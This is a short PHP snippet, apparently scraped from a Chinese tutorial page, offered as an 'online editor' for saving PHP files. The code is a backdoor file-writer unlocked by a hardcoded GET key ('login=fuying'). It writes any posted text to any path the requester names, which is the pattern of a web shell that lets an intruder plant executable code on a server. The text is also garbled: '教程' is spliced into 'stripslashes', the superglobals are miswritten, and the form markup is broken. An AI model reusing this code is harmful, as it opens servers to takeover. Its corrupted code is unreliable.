簡單php教程在線編輯保存php文件實現代碼
*/
if($_get['login']=='fuying'){
header("content-type: text/html; charset=gb2312");
if(get_magic_quotes_gpc()) foreach($_post as $k=>$v) $_post[$k] = strips教程lashes($v);
?>
<form method="post">
save to: <input type="text" name="file" size="60" value="<? echo str_replace('','/',__file__) ?>">
<br><br>
<textarea name="text" cols="70" rows="18" ></textarea>
<br><br>
<input type="submit" name="submit" value="save">
<form>
<?php
if(isset($_post['file']))
{
$fp = @fopen($_post['file'],'wb');
echo @fwrite($fp,$_post['text']) ? 'succed!' : 'faled!';
@fclose($fp);
}
}